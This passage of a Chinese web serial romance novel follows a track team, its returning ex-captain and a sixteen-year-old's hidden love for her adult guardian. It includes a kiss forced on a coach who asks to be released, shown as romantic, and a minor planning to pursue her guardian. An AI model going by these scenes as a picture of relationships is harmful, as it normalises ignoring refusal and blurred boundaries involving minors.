楚鸽嚼着口香糖,牛仔外套的袖口随意地卷到手肘,露出线条分明的小臂。她歪着头,嘴角挂着标志性的痞笑:“听说队里有喜事儿,特地回来道贺啊。” 新队员们还在为学姐的酷劲儿着迷,老队员们却悄悄交换着眼色。谁都记得,她们的队长向来如此——越是生气,笑得越是灿烂。此刻她吹出的泡泡“啪”地炸开,那声响在突然安静的田径场上格外清脆。 楚鸽扭头去人群里望,当看到乔潇潇时,略显惊讶:“怎么瘦成大马猴了?” …… 沉默了片刻,乔潇潇走上前,低着头,闷声说:“队长。” 楚鸽点了点头,目光在她身上扫了一圈,随手把外套扔给了旁边的队员,活动了一下身体,“来,咱跑一圈!!!” 哇!!! 旁边都是迷弟迷妹的欢呼声。 新老队员交替的赛道上,五个运动员一字排开,连跳高队的王甜甜也凑热闹地挤在起跑线上。鹿晨站在她们身侧,举起发令枪的瞬间,恍惚间仿佛看见时光倒流。 楚鸽内搭的骷髅头T恤绝不是正经运动员会穿的装束。可她嘴角那抹张扬的笑,却和当年如出一辙。 鹿晨依稀还记得刚招楚鸽入队的场景,那时候,她才刚大学毕业来到三中,心里都是冲劲儿,野心勃勃地就想着怎么出成绩。 当时还只是个助教,主教练分配给她的任务就是寻找可造之材,当时楚鸽正在跟一个小姐妹在操场追逐打闹,那惊人的爆发力瞬间抓住了她的目光。 鹿晨当时还不是很习惯身份的转变,再加上楚鸽挑染了一缕头发,一身上下都是潮牌,看样子就不是一个“好学生”。 她走上前,有些怯生生地准备开口的时候,楚鸽停在原地,看了看她,两眼放光:“高几的啊?真漂亮。” 鹿晨当时脸就红了,她抿了抿唇,沉住气:“我是你们新来的体育老师!” 楚鸽“嗯嗯”地点了点头,目光不离开她。 鹿晨强壮镇定,“同学,你是高几的?我看你跑步速度很快,有兴趣加入田径队么?” 楚鸽挑了挑眉,她身边的佳茵走了过来,勾住她的脖子,看了鹿晨一眼,一点不见礼貌,“什么跑步?走吧,楚楚。” 她们都是搞艺术的,整这大老粗的干什么?尤其是楚鸽,不夸张的说琴棋书画样样精通。 楚鸽却没有动,反而拨拉开她的手,认真地看着鹿晨:“加入田径队,有什么好处吗?” 鹿晨本来都以为自己会被拒绝了,听楚鸽这么说,赶紧说:“以后,如果练得好,可以高考加分,如果成绩特别出彩,也许还会保送。” 楚鸽旁边佳茵一听“噗嗤”笑了,“老师,你好可爱。” 楚大小姐需要保送? 鹿晨窘迫得手足无措时,楚鸽忽然凑近,带着薄荷味的呼吸拂过她耳畔:“进校队,是不是能天天看见你?” …… 楚鸽虽然现在不搞专业的了,但是基本功还在,最重要的是威望犹存。 队长在前面跑,谁敢比她跑得快? 楚鸽回头,看几个已经成长起来明显很懂“人情世故”的毛头小姑娘,抿着嘴笑了。 虽然毕业有几个月了,但是回到母校,心里还是温暖的,只是…… 她的目光落在了鹿晨的身上,鹿晨半垂着头,那模样,像极了刚来学校是当助教不敢与人对视的时期,脸上已经没有了笑容。 训练结束后,队员们自发地围拢成圈,将楚鸽簇拥在中央。这群平日里大大咧咧的体育生们,此刻却屏息凝神地盯着她怀里的吉他,眼睛里闪烁着少见的雀跃光芒。 楚鸽依旧是那副随性不羁的模样。面对学弟学妹们期待的目光,她毫不在意地往地上一坐,修长的双腿随意蜷起。指尖在琴弦上轻轻一拨,熟悉的旋律便流淌而出。 “只怕我自己会爱上你……” “不敢让自己靠得太近……” “怕我没什么给你,爱上你是我情非得已~” 她唱歌的时候嗓音低沉,带着些许沙哑的质感,目光时不时地落在鹿晨的身上,鹿晨抿着唇,缓缓地低下了头。 这是她最近总会做的动作,再不是之前那个神采奕奕,到处挖人生机勃勃的教练了。 夕阳的阳光斜斜地洒落,为楚鸽挑染的发梢镀上一层金边。 琴弦震颤间,那些青春里说不出口的心事,似乎都随着歌声飘散在。 乔潇潇不敢多听一句,自打确定了自己的心事儿之后,情歌的每一字每一句好像都在诉说她对姐姐的情愫。 一曲完毕,楚鸽眼神暗淡地看着已经离开的鹿晨,深吸了一口气,在学弟学妹的起哄呐喊声中,她笑了笑,走到了潇潇的身边。 “谈恋爱了?” 乔潇潇怔了怔,对着楚鸽摇了摇头。 楚鸽一双深邃的眸子盯着她看,“那就是有暗恋的人了。” 她一眼就看出潇潇的不对劲了,这是过来人才会有的“犀利”。 乔潇潇不吱声了,不知道怎么了,被楚鸽说中心事儿的她鼻子酸酸的。 “放松点。”楚鸽拍了拍乔潇潇的肩膀,目光直视前方鹿晨离开的方向,“暗恋虽然苦,但是给自己点时间,未必不会柳暗花明。” 说着,楚鸽追着鹿晨的步伐去了,潇潇是个聪明孩子,会理解的。 乔潇潇一个人在原地愣了好久,还是没有消化队长话里的意思。 她还是老样子,练到所有人都离开,练到肌肉酸软得几乎迈不开步子,才拖着疲惫的身躯往休息室挪。 运动服早已被汗水浸透,黏腻地贴在背上。她习惯性地舔了舔干燥的嘴唇,忽然想起楚心柔。真奇怪,即便是在最激烈的训练后,楚心柔身上也总是萦绕着若有若无的清香。 更衣室里空荡荡的,只有她一个人的脚步声在回荡。这段时间,乔潇潇总是选择最角落的那个淋浴间,把水温调到最低。当刺骨的冷水劈头盖脸浇下来时,她会仰起头,任由水流冲刷着发烫的脸颊和脖颈。只有在这种近乎自虐的冰冷中,那些翻涌的、不该有的念头才会暂时平息。水珠顺着她紧绷的背部线条滚落,在瓷砖地上汇成一片冰凉的水洼。 水汽氤氲的浴室里,乔潇潇机械地嗅了嗅自己的手腕,淡淡的茉莉香此刻却像钝刀,一下下凌迟着她的神经。 她再用力,也洗不掉姐姐的味道,就像是她再想劝自己放弃,也没有办法真正的将姐姐从心里剜除一样,不过是自欺欺人的谎言罢了。 休息室的长椅上,乔潇潇像被抽走所有力气般瘫坐着,湿漉漉的发梢还在滴水。水珠砸在地板上的声音在寂静的房间里格外清晰,就像她心里那些见不得光的念头,一次次重重坠落。 楚心柔最近看她的眼神越来越让她无所适从。姐姐总是欲言又止,那双温柔的眼睛里盛着太多担忧,这比直接质问更让她煎熬。 乔潇潇攥紧了拳头,她知道的,自己正在变成姐姐的负担。 该走了吧…… 她仰起头,喉结艰难地滚动着。天花板的白炽灯在泪水中晕开成模糊的光斑。想到要搬离那个充满茉莉花香的房间,要离开总是温柔唤她“潇潇”的姐姐,胸腔里就像被人硬生生掏走了一块。 可是留下又能怎样呢?她可以忍受自我折磨,却不能再看着楚心柔因为自己而眉头紧锁。 那些在冷水冲刷下都挥之不去的妄想,那些在深夜辗转反侧时愈发清晰的渴望,横亘在她们之间的何止是姐妹的身份? 乔潇潇突然捂住眼睛,指缝间溢出的温热液体烫得她发抖。她比谁都清楚,当楚心柔发现真相时,那双总是含笑的眼睛里会浮现怎样的震惊与失望。光是想象那个场景,就让她疼得几乎直不起腰来。 就在乔潇潇无声哭泣的时候,隔壁的教练室里,穿出细碎的争吵声,还有愈演愈烈的趋势。 是鹿晨的声音。 乔潇潇怔了怔,她起身,快步往过走,她怕是哪个刚来还不懂道理的毛头小子,跟教练发生冲突。 房门是紧锁的,可因为年久失修,门上面的有一块破碎的玻璃小洞,可以看到里面的人。 一般人是够不着的。 乔潇潇修长的身形恰好够到那个破碎的玻璃缺口。她本能地屏住呼吸,没有贸然推门,只是微微前倾身体,将右眼贴近那道缝隙。 下一秒,她的瞳孔骤然收缩。 【作者有话说】 潇潇这眼睛快长针眼了。 也许,今天过80,还能二更个? 54 第54章 (二更) ◎你心里藏着的那个人,是楚心柔吗?◎ 在乔潇潇的认知里,鹿晨永远都是那个站在训练场边、手持秒表的教练。 无论她穿着多么随性的运动服,无论她笑起来时眼角的细纹多么温柔,她终究是老师,是高高在上的,是有距离感的。 可如今,鹿晨的身子靠在墙面上,退无可退,而楚鸽两手承载墙壁两侧,将她锁在怀里。 冰冷的墙面透过单薄的运动服传来刺骨的寒意,鹿晨的后背紧贴着墙壁,退无可退。楚鸽的双臂如同铁铸的牢笼,将她禁锢在这一方天地之间。 两人呼吸交缠,距离近得能看清对方瞳孔中自己的倒影。楚鸽身上熟悉的汗水气息混合着柑橘调香水,霸道地侵占着鹿晨的每一寸感官。训练馆顶灯在她身后投下阴影,将鹿晨完全笼罩其中。 “教练现在看清楚了么?”楚鸽的拇指缓缓摩挲着鹿晨腕间跳动的脉搏,那里的皮肤薄得能看见淡青色的血管。她忽然俯身,温热的鼻息拂过鹿晨的耳垂:“当年需要踮脚才能碰到你肩膀的女孩——”声音陡然转低,带着危险的警告,“现在能把你整个困在这里了。” 鹿晨偏头的瞬间,发梢扫过楚鸽锁骨处的旧伤,那是三年前为她挡下飞来的篮球留下的疤痕。她挣扎着想要推开,却被更用力地扣住手腕,骨骼相抵的疼痛中夹杂着某种令人战.栗的电流。 “你和薛忍懿,告诉我是假的。”楚鸽的声音冰冷,可指尖却滚烫地描摹着鹿晨颈侧的曲线,仿佛在确认某种所有权。 鹿晨的后背紧贴着冰凉墙面,唇瓣被自己咬得泛白:“是真的……你放开我。” 空气骤然凝固。 楚鸽唇角勾起一抹危险的弧度,眼底暗潮翻涌。她突然抓起鹿晨的手,强势地插入指缝,十指相扣按在墙上。 “那他有这么对你么?” 话音未落,一个轻如蝶翼的吻落在鹿晨颤抖的眼睑。楚鸽的唇顺着鼻梁游移,最终停在额头,呼出的热气灼烧着肌肤:“这样呢?” 鹿晨浑身一颤,当那只手继续下移时,她终于发出一声破碎的呜咽,腰肢软得几乎站不住。 楚鸽单手就擒住她两个手腕举过头顶,另一手托住她发软的后腰。在鹿晨朦胧的视线里,楚鸽的脸越来越近,最终强势地封住了那片颤抖的红唇。 乔潇潇的眼睛承受了太多不该看的,这个澡,算是白洗了。 如果说杨姐姐和薛莜莜上次在她面前上演的是疾驰的兰博基尼,那教练和队长则更像是一辆不管不顾驶入心湖的游船。 霸道,却更让人心尖发颤。 尤其是楚鸽说的那些话,一字一句,都像是从她最隐秘的梦境里剜出来的,连语气都分毫不差。 乔潇潇跑去小卖部买了根冰棍,坐在空旷的运动场上机械地咬着,冰凉的甜意在舌尖化开,却压不住胸口翻涌的热意。吃到一半,身后传来脚步声。 和来时不同,楚鸽眼底的阴霾一扫而空,整个人像是被阳光重新镀了一层边,连发梢都透着餍足的慵懒,雪白脖颈上那道暗红的痕迹格外刺眼。 乔潇潇下意识绷直了背,楚鸽却大咧咧地挨着她坐下,双臂舒展地撑在身后,侧头看她:“你都看见了吧?” “没有!”乔潇潇脱口而出,随即意识到自己的反应太过欲盖弥彰,“……我是说,我什么都没看见,你和教练的事我——” 话一出口,她就懊恼地咬住了舌尖。 完了,一定是最近辗转难眠的影响智商了。 楚鸽低笑了一声,忽然转过脸,直直望进她的眼睛:“潇潇,你是我带进队的。” 面对突然打感情牌的队长,乔潇潇瞬间警觉,她谨慎地点了点头。 楚鸽的指尖轻轻敲着膝盖,声音轻得像是在自言自语:“那你能不能告诉我——”她顿了顿,目光陡然锐利,“你心里藏着的那个人,是楚心柔吗?” ——你心里藏着的那个人,是楚心柔吗? 有些情感,像深秋的落叶般被乔潇潇层层掩埋。她原以为这些心事会永远沉寂在时光的褶皱里,在无人知晓的角落慢慢风化、消散。 可楚鸽的手指轻轻一挑,便掀开了她精心构筑的伪装。 她的耳膜嗡嗡作响,仿佛所有的声音都在一瞬间远去,只剩下胸腔里剧烈的心跳声。 楚鸽静静地看着她,眼底没有戏谑,只有一种近乎温柔的洞悉。 “我经历过同样的辗转反侧。”她轻声说,“所以,我懂。” 楚鸽从不认为自己是个爱管闲事的人。 从小到大,能入她眼的人屈指可数,乔潇潇算是个例外。或许是优渥的家境让她早已习惯了对周遭人事的淡漠,那些旁人眼中的闪光点,在她看来不过是稀松平常。最初注意到乔潇潇,也不过是顺手帮楚心柔一个忙,带着几分漫不经心的好奇。 那时的*乔潇潇瘦瘦小小黑不溜秋的,沉默寡言得近乎孤僻,如果不是鹿晨的执着,她并不看好。 可楚鸽渐渐发现,这副单薄身躯里蕴藏着惊人的能量,她是队里唯一一个边跑步边背英语单词的人,还有甜甜那孩子,典型的练体育的,心眼都让肌肉给吃了,潇潇一进队就面对她的挑衅,一般血气方刚的同龄人都会急的。 可乔潇潇没有,不仅没有生气,反而一语成谶,跟甜甜做了朋友不说,还帮她挽回了梦想。 最让楚鸽意外的是那次街头的偶遇。当她在商场瞥见摆摊的乔潇潇时,第一反应竟是下意识想要避开,怕伤了她的自尊。 可乔潇潇却坦然地朝她挥手,叫了声“队长”。甚至游说她买下一条红绳。同行的朋友不喜欢手串,却被她“忽悠着”,一口气为家里的小狗买了三条。 这样的人,以后一定能成大器。 乔潇潇不是轻易吐露心事儿的人,不仅仅是为自己,也是对姐姐的一种保护。 俩人静静底坐了一会儿,把冰棍吃完,楚鸽起身之后,拍了拍她的肩膀:“慢慢来,等花开。” 她不也是用三年的时光,才让榆木疙瘩多少开了点花么? 乔潇潇这才哪儿到哪儿? 有些时候,人的转变往往只需要一个瞬间。 乔潇潇又在原地坐了好久好久,坐到太阳完全不见了,坐到腿都发麻了,坐到她把和姐姐相处的画面一遍又一遍的在脑海里放映,她这才起身,准备回家。 那一日,风平浪静,对乔潇潇来说,是最为普通不过的一天,可对于她整个人生来说,都是风驰电掣般的改变。 回去前,潇潇特意绕道去了菜市场,精心挑选了几样新鲜的火锅食材。当钥匙转动门锁时,她下意识放轻了动作。 推开门,暖黄的灯光下,楚心柔依然保持着那个等待的姿势端坐在沙发上。听到声响的瞬间,她立即站起身,唇瓣不自觉地抿紧,目光小心翼翼地探寻着乔潇潇的神情。 这个细微的动作让乔潇潇心头一疼。她忽然意识到,自己这段时间的任性,让姐姐承受了多少不安。 “姐姐,晚上吃火锅好吗?”她晃了晃手中的购物袋,塑料包装发出清脆的声响。 楚心柔怔怔地望着她,直到乔潇潇扬起那个久违的、灿烂得晃眼的笑容,心底某根紧绷的弦突然被轻轻拨动。楚心柔点点头,声音有些发颤:“好。” 氤氲的火锅热气中,两人隔着一个多月来第一次心平气和地共进晚餐。乔潇潇动作利落地洗菜备料,当红油锅底开始翻滚时,她吃得格外香甜,这段时间她总是食不知味,每顿饭都像小鸟啄食般敷衍了事。而此刻,看着她大快朵颐到额头沁出汗珠的模样,楚心柔终于找回了些许安心的感觉。 楚心柔还是老样子,吃的不多,但一直没有放筷子,吃的很慢,陪着她。 直到乔潇潇心满意足地拍着肚子,发出餍足的叹息:“啊,撑死我了~” 灯光下,楚心柔的目光始终温柔地追随着她,那双眼睛里盛着的是乔潇潇最眷恋的柔情。 收拾完碗筷,乔潇潇匆匆冲了个澡,连头发都来不及吹干就顶着湿漉漉的发梢,像只撒欢的小狗般蹭到楚心柔身边,将脑袋轻轻靠在她肩上。 “姐姐。” 楚心柔嗅到和自己身上一样的沐浴露香气,轻声应道:“嗯?” “前段时间……我遇到些事,怎么都想不通……”乔潇潇的声音闷闷的,“对不起……” 是她太任性了,让姐姐担心这么久。 楚心柔抬手轻抚她半干的发丝,没有追问具体缘由,只是柔声问道:“那现在呢?想通了吗?” 乔潇潇低着头,摇了摇头:“也不算是想通了,只是,不想再为难自己了。” 这样的事儿,以她现在的阅历,短时间内是没有办法缕清的。 可楚鸽说的没错,慢慢来,等花开,把一切都交给时间吧。 楚心柔其实也好奇,她家潇潇不是一般的孩子,是吃过苦遭过罪的,到底有什么事儿能把她折磨成这样? 两人静静依偎的时光里,只有挂钟的滴答声在房间里轻轻回荡。乔潇潇突然转过脸,将下巴轻轻搁在楚心柔肩头,像只撒娇的小猫般蹭了蹭,“姐姐,我……如果我特别想达到一件看似不可能的事儿,该怎么办?” 楚心柔微微偏头,发丝扫过乔潇潇的脸颊:“不可能的事?要看有多不可能。”她语气温柔而认真:“如果是真的不可能,那就长痛不如短痛放弃,但如果放弃不了……”她看着乔潇潇:“那就坚持,努力,逐渐壮大自己,把不可能变成可能。” 潇潇听得入神,乖巧的模样让楚心柔心头一软。 楚心柔总是不由自主地心疼潇潇,这段时间,她也没少辗转猜测,想她是不是受了什么委屈,或是真的像是绯棠说的那样为情所困? 乔潇潇盯着她看了许久,突然问:“姐姐,你会离开我么?” 楚心柔坚定地摇了摇头,“不会。” 这段时间的纠结,让她也确定了自己的心思,潇潇会像是家人一样的存在。 她不想分开。 乔潇潇的眼圈有点红,含着泪笑了:“那如果我做错事了呢?” 楚心柔捏了捏她的鼻子,“那就惩罚你。” 依旧不会离开,除非是潇潇有一天厌倦了,自己想走。 楚心柔给她足够的安全感。 可乔潇潇还是感觉不够,她将头扎进了姐姐的怀里,贪婪地去嗅她身上的香气,“姐姐……有时候,我真想一下子就考上大学,一下子就长大。” 楚心柔的掌心抚过柔软的发丝:“你要乖,好好学习,考上重点大学毕业之后就可以拥有自己的新人生了。” 乔潇潇抬头,她仰望着这个宠她在心尖儿的姐姐轻声问:“姐姐,如果我考上大学顺利毕业,你可以答应我一个愿望么?” 楚心柔怡注视着她,轻轻的点了点头。 乔潇潇目光灼灼:“你保证。” 楚心柔微笑:“我保证。” 乔潇潇仍不满足,伸出纤细的小拇指,轻轻晃动:“拉钩。” 楚心柔拿她没办法,含着笑伸出自己的手指。 两人的小指在暖黄的灯光下轻轻相扣,像缔结了一个温柔的契约。 楚心柔永远不会想到,就在这个看似平常的夜晚,十六岁的乔潇潇已经在心底埋下了一颗种子。 从那天起,这个看似乖巧的少女开始用最细腻的心思,最耐心的等待,一点一点编织一张温柔的大网。 ——而网中央那个浑然不觉的猎物,正是她自己。 【作者有话说】 这一章很重要。 以后,字字句句都是flag。 二更啦~有米有人撒花奖励勤劳的宝宝啊。 55 第55章 ◎织网。◎ 人的心一旦定了,便如同扎根的树,做什么都充满力量,犹如新生。 这样的力量,不是因为外界的压力与挤压,完全是内心“想要”的渴望驱使,强大到让人感觉不到劳累与疲倦。 乔潇潇的心里有了盼头,她比以前更努力了,早起晚归的,脸上的笑容也多了。 中途,杨绯棠悄咪咪地拉着她问:“潇潇,跟姐姐说实话,前阵子你到底怎么了?” 乔潇潇唇角一弯,反将一军:“杨姐姐觉得我怎么了?” “这个……”杨绯棠绞着手指,欲言又止。乔潇潇递给她一个鼓励的眼神,让她大胆放心的说。 杨绯棠掰着手指数起来:“我起初猜你是不是喜欢上有家室的人了,后来又怀疑你是不是……有了身孕。”她声音越来越小,“再后来我甚至想,你是不是爱上什么大叔大妈……” 她看过潇潇和那些成年人讨价还价,自信又条理清晰,句句占理,简直是全身放光芒。 “得得得。”乔潇潇打断她的话,越说越不靠谱,她盯着杨绯棠琢磨着,这么久了,她只看到楚心柔身边就杨绯棠那么一个朋友,她想了想,问:“杨姐姐,想吃麻辣香锅吗?” “想!”杨绯棠眼睛瞬间亮了起来,点头如捣蒜。 自那以后,楚心柔发现乔潇潇变着法子给杨绯棠做好吃的。今天麻辣香锅红油翻滚,明日糖醋排骨香气四溢,后天又是金黄酥脆的炸鲜奶。杨绯棠被投喂得眉开眼笑,脸颊都圆润了几分。 不过吃人嘴软,俩人的感情明显升温,偶尔的,在杨绯棠吃的开心的时候,乔潇潇会有意无意地问问她姐姐的过去,“杨姐姐,你跟我姐认识多久了?” 杨绯棠跟个小松鼠一样低头啃着排骨,“大概六七年吧,记不清了。” “她当时就是这性格么?” 杨绯棠摇头,“那不是,哎,她以前虽然不是健谈的类型,但是也不像是现在这么孤僻,一天天就捧着画板画画。” 那时候的楚心柔忙碌程度不亚于现在的潇潇,一天天这会那会,今天飞这明天飞那的,总是眉头紧锁不苟言笑,还因为要“震慑”下属,气场骇人,即使那时候俩人关系就不错了,她也不敢轻易靠近。 现在看看,潇潇这崽子是真厉害,忙的脚不离地了,还能满面笑容,甚至有余力伺候她和楚心柔吃喝。 “那她以前受你熏陶,就没谈谈恋爱么?” “什么意思?” 杨绯棠放下了手里的筷子,眯着眼盯着乔潇潇看,乔潇潇偏头,“我就随便问问。” 还是她太着急了,惊着杨姐姐了。 到底是自家崽子,杨绯棠没想那么多,只是定定地望了她许久,末了轻叹一声:“说真的,我总觉得她心里有道坎儿。旁人待她好,她能受着;可一旦要越过那条线”她顿了顿,指尖无意识地摩挲着茶杯边缘,“她准会像受惊的鸟儿似的,头也不回地飞走。” 楚心柔的追求者,可是一只手数不过来的,而且但凡敢拿到明面上来追求的,都得是非富即贵,有点真本事。 乔潇潇很受教,为了不让姐姐“受惊飞走”,她在心里反复告诉自己慢,一定要慢。 结果等姐姐画完画从外面回来,看见杨绯棠油光发亮的小嘴,目光在两人之间转了个来回,最后定在乔潇潇脸上,面无表情地问:“我的呢?” 乔潇潇一时语塞,还没想好怎么回答,杨绯棠已经咧着嘴起哄,“完喽,我现在晋升为新宠了,心柔,你已经是昨日黄花了,做饭潇潇都不想着你了。” 乔潇潇:…… 楚心柔冷哼一声,径直走到乔潇潇面前,纤纤玉指捏住她的耳垂,“我要吃炸鲜奶,现在就要!” 这永远对别人保持距离感的楚小鸟距离近到……手摩挲乔潇潇耳垂的力度,都让她一哆嗦。 乔潇潇耳尖瞬间染上绯色,慌忙低下头,声音细若蚊呐,“嗯嗯嗯嗯,我现在就去做!” 楚心柔刚有点笑脸,旁边的杨绯棠美滋滋地显摆:“看看,对你就很敷衍,嗯都用嗯嗯嗯嗯嗯,对我都是每天——”她嗲嗲地学着:“杨姐姐,你想吃什么呀?人家给你做~” 她捂脸,有点不好意思:“我才明白,原来潇潇是后知后觉的那一挂,以前总觉得她更偏向她楚姐姐一点,现在才知道,她心里满满当当的都是她杨姐姐啊!” 楚心柔沉默地抱着胳膊看了杨绯棠一会,认真地问:“你给我说句实话,你是不是胖了得有十斤?” …… 她杨姐姐一句话,被楚心柔斩于马下,直接阵亡了。 楚心柔小口小口地咬着金黄酥脆的炸鲜奶,虽然味道不错,但并不开心。这几天,每次杨绯棠来吃饭,乔潇潇总是陪在旁边说说笑笑,怎么轮到自己就变成一个人对着空荡荡的餐桌了? 厨房里传来哗哗的水声,乔潇潇正忙着处理今天海钓的战利品。这几天她和杨绯棠出海,钓了不少肥美的海鱼。她盘算着这些高蛋白低脂肪的食材,正好给需要保持身材的姐姐补补。 “嗒”的一声脆响,传来清脆的响声。 乔潇潇闻声立刻甩了甩手上的水珠,三步并作两步跑出来:“怎么了?” 楚心柔抬眸望着她,撒谎不眨眼,“筷子掉了。”顿了顿,又轻声问:“你在忙什么?” “在收拾鱼啊。”乔潇潇有些困惑地眨眨眼,“带回来的时候,姐姐不是看见了吗?” 楚心柔沉默了一会儿,眉眼低垂,问:“是明天给你杨姐姐做的吗?” 哎呦喂。 乔潇潇先是一愣,随即眼底漾开笑意。她家向来端庄自持的楚姐姐,什么时候学会这样拐着弯吃醋了? 乔潇潇笑了,声音里带着几丝宠溺与揶揄:“给你做啊,怕你长胖。” 楚心柔感觉到了,唇角有些上扬,又有些这么大的人还要被一个孩子哄的难为情,“嗯,那我要吃红烧的。” 杨绯棠第二天来家里蹭饭的时候,看了一圈楚心柔的饭菜,一手捂住胸口,愤怒地望着乔潇潇:“我的心好痛,我还以为你幡然悔悟,爱上了我……怎么一到你楚姐姐这儿就是鱼肉煲汤蔬菜沙拉,吃的这么健康了?啊……”她闭了闭眼睛:“原来爱与不爱,真的差了很多,多么痛的领悟啊,这几天,我都白开心了,我想到了离开。” 乔潇潇乐呵呵地还没来得及说话,楚心柔温柔一笑,“放心走吧,我帮你超度。” 时光如流水般静静淌过。 楚心柔其实并未察觉乔潇潇有什么明显的变化,她一直很信任潇潇。只是隐约觉得,自从那件不能言说的事发生后,这孩子仿佛一夜之间褪去了青涩。从前的乔潇潇就足够体贴,如今更是将她的生活照料得滴水不漏。 楚心柔的胃病是老毛病了。乔潇潇软硬兼施地哄着她去看中医,从此每天清晨天刚蒙蒙亮,就轻手轻脚地爬起来熬药。等晨跑回来,必定端着温热的药碗守在楚心柔床前,那双明亮的眼睛一瞬不瞬地盯着她喝完。那段日子,楚心柔光是闻到中药味就条件反射地反胃。 可药到底起了效。日复一日地坚持下来,她胃痛的频率确实减轻了不少。 有时候杨绯棠看着乔潇潇追着楚心柔让她吃中药,还哄着:“姐姐,喝了,喝了给你糖吃,你不是想吃粉肠么?我学会了,给你做好吗?” 楚心柔会为难地去看杨绯棠,杨绯棠望着乔潇潇:“要是我是你,我就捏着她的鼻子,给从嘴里灌下去,还吃糖糖呢?” 楚心柔:…… 乔潇潇扭头去看姐姐,受到惊吓的姐姐缓慢地伸出手,眼神里的小惶恐好像真的像是怕乔潇潇会捏鼻子直灌似的,“给我吧。” 乔潇潇:^0^ 越是朝夕相处,乔潇潇就越能发现楚心柔身上那些不为人知的可爱之处。 她会在画画时无意识地把头发绕在指尖打转,会在吃到喜欢的甜点时眼睛微微发亮,会在看到她的成绩单时唇角上扬,装作不经意地问:“什么时候去开家长会?” 楚心柔很享受坐在乔潇潇的位置上,接收来自四面八方的羡慕与仰望的目光,以及老师不停嘴的赞叹。 这些细小的瞬间像一颗颗糖,悄悄融化在乔潇潇心里。 那份隐秘的爱意便这样悄然滋长,如同春日的藤蔓,在楚心柔看不到的角落里疯狂生长。 楚心柔只是感觉自己越来越离不开潇潇了,她的照顾无微不至,甚至发现自己偶尔会痛经之后,不仅严格地管控了冷饮与雪糕的量,每天晚上,潇潇还会用艾草给她泡脚。 从小到大的家庭环境,让楚心柔在物质方面什么都不缺,可许可晴和楚云疾对她一直是“挫折式”教育,很少给予她这样的温情。 就像常年生长在幽谷里的花,终于触到了阳光的温度,那些被冰封已久的情感,正在乔潇潇的温柔里一点点苏醒、舒展。 夜色渐深,楚心柔却很少再像从前那样辗转难眠,更不会独自起身借酒消愁。如今每当心绪不宁时,总有一双温暖的手牵着她去慢跑。在月光下,她们并肩奔跑,让烦忧随着汗水一点点蒸发。夜风拂过发梢,身旁人的呼吸声成了最好的安神曲。 乔潇潇的田径天赋逐渐绽放光芒。从校级联赛到省级锦标赛,她的身影开始频繁出现在领奖台上。 楚心柔永远记得那个阳光灿烂的下午,乔潇潇第一次摘金,她第一个冲破终点线时,振臂欢呼,看台上的她和杨绯棠激动得几乎跳起来。杨绯棠红着眼眶,声音哽咽:“这小崽子……总算熬出头了。” 那天晚上,三个人在家里开了香槟庆祝。乔潇潇带着胜利的喜悦,郑重地将人生第一枚金牌挂在楚心柔颈间。见杨绯棠在一旁故作委屈地撇嘴,她笑着张开双臂,给了对方一个结结实实的拥抱。 灯光下,金牌在楚心柔锁骨处闪着微光,映照出她眼底藏不住的骄傲与柔情。 乔潇潇的知名度也越来越大,这一次,不是仅仅因为学习成绩和出挑的容貌,火遍校园网了,越来越多的人投来注视的目光。 乔潇潇八百的优势在于她的心态稳,蓄力持久,弯道技术强,但缺点是起跑反应稍慢,冲刺阶段的爆发力相对不足,尤其在最后100米与顶尖选手的竞速中容易后劲不足。 最重要的是在鹿晨看来,乔潇潇的精力太过“分散”了,已经练出这种成绩了,以后必定是要走专业路线的,可她居然还雷打不动的每天放学去研究怎么赚钱。 潇潇亲手绘制了“青心”的logo,光是手稿就撕了不下百回了,楚心柔给她收拾桌面的时候看见了一颗用波浪线条组成的心,乔潇潇在旁边打了个叉子,还写了个——差!!! 楚心柔那天没往外跑,她仔细观察后,抬起了笔。 等乔潇潇晚上复习,看到纸上姐姐修改过的logo后,冲进房间抱住了她。 多么的浪漫,她们共同设计完成的,是有她们的灵魂的。 杨绯棠在听说了这件事儿后摸着下巴想了想,问楚心柔:“你没觉得这是小崽子故意的?” 楚心柔盯着她:“你是不是又在吃醋?” 杨绯棠:…… 得,她看出来了,楚纣王已经被乔妲己迷惑了双眼,听不进去忠臣的良言劝告了! 在她看来,那崽子明明就是故意的么! 潇潇什么时候学完习不自己收拾桌子了,偏偏留了个带批注的纸,等着楚心柔去发现?! 在这中途,鹿晨找过楚心柔,深谈了一番:“我大概知道潇潇之前家庭困难曾经经历过什么,但是……”她叹了口气,“现如今,已经高二下学期了,马上就要高三了,学业与考学压力马上要上来了,她要有所取舍。”她看着楚心柔:“国家队的胡教练已经开始关注她,在看她比赛的视频了。” 楚心柔听得认真,也礼貌的表示了对鹿晨的感谢。 等乔潇潇晚上回到家,她也没有像是别的长辈那样上来就是一顿训,而是和潇潇来了一场“成年人”间的对话。 现在的潇潇,已经一米七二了,楚心柔都需要仰头去看她了。 “今天,鹿教练来找我了。” 正弯下腰换鞋的乔潇潇手一滞,扭头看着姐姐,“她说什么了?” “给你告状呗,说你训练后还有精力,去带货。” 乔潇潇现在的生意可了不得,当时还没有直播间,但是她光是凭借在学校的知名度,亲手设计的青心主打款倾心,已经卖爆了。 楚心柔看着她,“潇潇,你对未来有什么规划?” 这是姐姐第一次这样问她。 乔潇潇想了想,认真回答:“要和姐姐在一起。” 永远不分离。 这是她放在第一位的。 楚心柔笑了,并没有多想,“我知道,然后呢?” 或许是从小的经历,让乔潇潇对世间的感悟比较深,她说的话,带着一丝沧桑。 “我没有太大的欲望,现在拼命赚钱,就只是想以后给我,给糯糯一个保证。” 她始终放心不下糯糯,糯糯的治疗很缓慢,她中途去看了很多次,不仅一次问老师怎么回事儿,老师笑着安慰她:“贵人语迟”,糯糯也跟着附和着点头。 乔潇潇几乎要挑脚了,给老师也没留面子,“那我妹妹得是多么矜贵的贵人啊,迟成这样。” 她已经习惯了“负担”与承受。 她把妹妹的未来与自己捆绑在一起。 乔潇潇去看了看周边城市的房价,先不说北上广,就是二线城市,她没有一个是她能买得起的,以后,她是要跟着姐姐的,姐姐去哪儿她就去哪儿,那糯糯呢?总是要在扎根有自己的家的,不得有个房子么?她现在存折上已经九万多块钱了,这都是她一点一点心血汇聚的,潇潇就等着到十万之后为妹妹存起来。 当然,对于以后,乔潇潇还想以后能够陪着姐姐,牵着她的手,走遍祖国的大好河山。 从小到大,除了万柳村,就是周边打工的乡镇和上学的城市以及进货的义乌,其他城市,她从未去过。 以前是没有钱,有了钱也舍不得,现如今,她是没有时间。 有许许多多浪漫的事,她都想要以后和姐姐一件件做。 